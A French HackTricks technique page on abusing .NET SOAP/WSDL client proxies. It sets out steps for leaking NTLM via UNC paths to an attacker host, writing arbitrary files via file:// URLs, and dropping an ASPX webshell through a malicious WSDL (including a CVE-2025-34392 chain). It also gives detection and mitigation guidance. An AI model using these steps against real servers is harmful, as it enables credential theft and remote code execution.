Abus des proxies clients .NET SOAP/WSDL

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

TL;DR

  • SoapHttpClientProtocol, DiscoveryClientProtocol et consorts héritent de HttpWebClientProtocol, dont GetWebRequest() retourne l’instance agnostique au scheme WebRequest produite par WebRequest.Create() sans forcer HttpWebRequest.
  • Si un attaquant contrôle le Url du proxy, le framework remplace silencieusement par FileWebRequest, FtpWebRequest ou des handlers UNC/SMB, transformant des proxies “HTTP” en NTLM leak gadgets ou en outils d’écriture de fichiers arbitraires.
  • Toute fonctionnalité qui importe un WSDL fourni par l’attaquant via ServiceDescriptionImporter aggrave le bug : le WSDL contrôle le constructeur du proxy généré, les méthodes SOAP, les types complexes et les espaces de noms, permettant des RCE pré-auth (webshells, script drops) dans des produits tels que Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell et SSIS.

Cause racine : HttpWebClientProtocol est agnostique au scheme

WebClientProtocol.GetWebRequest() fait var req = WebRequest.Create(uri) et retourne cet objet sans le modifier. HttpWebClientProtocol.GetWebRequest() tente req as HttpWebRequest pour définir des champs réservés à HTTP, mais il retourne toujours le req original même quand le cast échoue. Le runtime obéit donc au scheme présent dans Url :

  • http(s)://HttpWebRequest
  • file:/// ou \\host\share\FileWebRequest
  • ftp://FtpWebRequest

SoapHttpClientProtocol.Invoke() stream ensuite le corps POST SOAP via le handler de transport sélectionné, même si cela signifie écrire sur le disque ou via SMB.

Primitif 1 – Capture / relay NTLM via des cibles UNC

  1. Obtenir le contrôle de SoapHttpClientProtocol.Url (setter direct, valeur de config, ligne en base, etc.).
  2. Le pointer vers un chemin UNC comme file://attacker.local/sink/payload.
  3. Le CLR ouvre le chemin via SMB et effectue une authentification intégrée, leaking NTLM challenge/response to the attacker.
  4. Utiliser les hashes capturés pour du cracking offline ou du NTLM relay (SMB/HTTP) si signing/EPA ne sont pas présents.

Cela s’applique à tout chemin proxy .NET SOAP/HTTP acceptant une entrée utilisateur, même s’il n’y a pas d’autre vecteur d’exploitation apparent.

Primitif 2 – Écritures de fichiers arbitraires via file://

  1. Définir Url = "file:///inetpub/wwwroot/poc.aspx" (ou tout chemin inscriptible) avant l’appel du proxy.
  2. Invoquer n’importe quelle méthode SOAP ; le framework écrit l’ensemble de l’enveloppe SOAP dans le chemin choisi, écrasant les fichiers existants.
  3. Les arguments contrôlés par l’utilisateur apparaissent dans des éléments XML, permettant aux attaquants de déposer des payloads CSHTML/ASPX ou d’empoisonner des fichiers de config.

Limitations :

  • Le contenu est toujours du XML ; les champs scalaires sont entity-encodés, donc injecter <script> via des chaînes simples nécessite des techniques supplémentaires.
  • Des payloads exploitables requièrent au moins un argument influençable par l’attaquant ou la capacité de modifier la signature de la méthode (voir l’abus de WSDL).

Le runtime lance souvent Client found response content type of 'application/octet-stream', but expected 'text/xml' après l’écriture — traiter cette erreur comme un IOC.

Weaponisation des imports WSDL

Proxies auto-générés via ServiceDescriptionImporter

Beaucoup de produits exposent une fonctionnalité “custom web service” qui accepte une URL WSDL, puis :

  1. ServiceDescription.Read() du WSDL contrôlé par l’attaquant.
  2. ServiceDescriptionImporter génère des classes proxy C# étendant SoapHttpClientProtocol.
  3. CodeDOM compile le proxy et la reflection appelle la méthode demandée.

L’attaquant contrôle entièrement :

  • soap:address / soap12:address location → devient base.Url (peut définir file:// ou des chemins UNC).
  • Les noms de méthode, listes de paramètres, types complexes et serializers.
  • Les URI d’espaces de noms qui finissent en attributs xmlns:* dans chaque message SOAP.

Aucune validation de scheme n’a lieu, donc chaque proxy généré hérite de la faille initiale.

Façonner l’enveloppe SOAP pour RCE

  • Complex type serialization : Définir des structs personnalisés dans le WSDL de sorte que lorsque XmlSerializer les réémet, ils produisent des noms/attributs d’éléments choisis par l’attaquant. Pour déposer une webshell ASPX, construire des types qui sérialisent en :
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>

et pointer Url vers file:///.../webroot/shell.aspx pour obtenir une RCE.

  • Namespace injection : Même quand les arguments sont codés en dur (par ex. Umbraco Forms), les namespaces déclarés dans le WSDL (ex. xmlns:tns="http://host/service?x=@{...}") sont copiés tels quels dans l’enveloppe SOAP. Encoder des payloads dans la query string d’un namespace permet des drops CSHTML Razor ou PowerShell sans contrôle des paramètres.

Ces techniques ont alimenté l’exploit contre Barracuda Service Center RMM (CVE-2025-34392) : un appel SOAP non authentifié a fourni un WSDL malveillant, a défini soap12:address sur file:///Program Files/.../SCMessaging/poc.aspx, injecté <script runat="server"> via des paramètres complexes, et a uploadé une webshell exécutant des commandes cmd.exe arbitraires.

Déroulement typique d’une attaque

  1. Identifier une fonctionnalité acceptant une URL WSDL ou permettant de configurer des endpoints SOAP (ex. Barracuda InvokeRemoteMethod, connecteurs Ivanti EPM, datasources Umbraco 8 Forms, PowerShell New-WebServiceProxy).
  2. Héberger un WSDL malveillant dont le soap:address pointe vers un chemin inscriptible ou un partage UNC et dont les schémas fournissent des méthodes/types adaptés au payload.
  3. Déclencher l’import/compilation. La cible émet un DLL de proxy avec constructeur et méthodes contrôlés par l’attaquant.
  4. Quand l’application invoque la méthode générée, la requête SOAP est sérialisée et écrite dans le chemin spécifié par l’attaquant, embarquant le payload.
  5. Exécuter le fichier déposé (naviguer vers poc.aspx?cmd=whoami, charger le CSHTML, ou laisser PowerShell exécuter le script) ou rejouer le matériel NTLM capturé.

Détection & chasse

  • Analyse statique : Grepper pour ServiceDescriptionImporter, SoapHttpClientProtocol, HttpWebClientProtocol, ou New-WebServiceProxy. Tracer la provenance de Url ou des entrées WSDL — toute source contrôlée par l’utilisateur est un signal d’alerte.
  • Télémétrie runtime :
    • Instrumenter la création des proxies pour logger les schemes ; alerter sur les valeurs file, ftp ou UNC.
    • Surveiller l’erreur caractéristique Client found response content type of 'application/octet-stream' après des appels SOAP.
    • Surveiller des écritures inattendues .aspx/.cshtml/.ps1 sous les répertoires applicatifs effectuées par l’identité du service web.
  • Signaux réseau/fichiers : connexions SMB initiées par des serveurs web vers l’infrastructure de l’attaquant, ou compilation soudaine de DLLs de proxy temporaires, précèdent souvent l’exploitation.

Mitigations

  • Enforcer une validation du transport avant d’invoquer tout proxy dérivé de HttpWebClientProtocol :
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
  • Sanitize les WSDL importés : télécharger les proxies via un broker qui réécrit ou rejette les entrées soap:address non HTTP/S, supprime les bindings inconnus, et interdit les tricks d’espace de noms porteurs de payload.
  • Désactiver les fonctionnalités WSDL non fiables : remplacer les commodités “upload a WSDL” par des templates serveur validés ou des allowlists.
  • Séparer les emplacements d’écriture : s’assurer que les app pools ne peuvent pas écrire dans les répertoires exécutables ; utiliser des volumes séparés pour les données vs le code de sorte que les primitives d’écriture ne deviennent pas des RCE.
  • Durcir l’exposition NTLM : désactiver SMB sortant quand c’est possible ; sinon appliquer SMB signing, EPA et autres mitigations contre le relay.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks